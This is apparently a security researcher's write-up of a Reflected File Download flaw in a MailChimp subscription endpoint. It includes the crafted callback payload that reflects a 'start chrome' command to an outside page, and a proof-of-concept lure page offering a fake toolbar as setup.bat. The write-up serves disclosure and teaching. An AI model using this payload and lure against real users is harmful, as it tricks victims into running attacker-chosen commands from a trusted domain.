When auditing a MailChimp client for Cobalt.io I noticed that this company suffers from a Reflected File Download vulnerability that could be exploited only by using HTML5 download attribute.
Let’s take a look into the original GET request:
[code language=”html”]http://[mailchimp_client].us5.list-manage.com/subscribe/post-json?u=41352a29fd45def27e8aea4cd&id=91d16923d8&c=?[/code]
This request is part of the subscription to a email campaign at MailChimp.
Checking the URL you can see “c” parameter is nothing more than the callback:
?({“result”:”error”,”msg”:”Blank email address”})
Putting my RFD vector on the callback:
[code language=”html”]http://[mailchimp_client].us5.list-manage.com/subscribe/post-json?u=41352a29fd45def27e8aea4cd&id=91d16923d8&c=start%20chrome%20davidsopas.com/poc/malware.htm||[/code]
I get the following reflected:
start chrome davidsopas.com/poc/malware.htm||({“result”:”error”,”msg”:”Blank email address”})
Because list-manage.com is not URL permissive I needed to use a external page to create my proof-of-concept:
[code language=”html”]<div align="center">
<a href="http://[mailchimp_client].us5.list-manage.com/subscribe/post-json?u=41352a29fd45def27e8aea4cd&id=91d16923d8&c=start%20chrome%20davidsopas.com/poc/malware.htm||" download="setup.bat" onclick="return false;"><img src="https://hfweb-assets.s3.amazonaws.com/integrations/mailchimp.png" border="0" /></a>
<h1>Install MailChimp toolbar to improve your email send score!</h1>
<p><i>(Use "Save Link As" to download the file)</i></p>
</div>[/code]
So a possible attack scenario would be:
- Victim visits a page with a specially crafted page – like my PoC
- Victim downloads the file using Save Link As (which comes from a trusted domain – list-manage.com)
- Victim gets hijacked
Because the download comes from a trusted domain, victims are tricked to execute files that are not suppose to.
This works perfectly on latest versions of Google Chrome and Opera.
MailChimp considered this issue to be a social engineering attack so they’ll not fix it.
In my opinion this is something that this company could prevent from happening just by adding a header to their request. In the end it’s a MailChimp decision not mine.
When I requested the disclosure of this report MailChimp replied:
We neither condone nor prohibit you from adding this to your security blog.
Hope it helps other companies and security researchers to better understand RFD…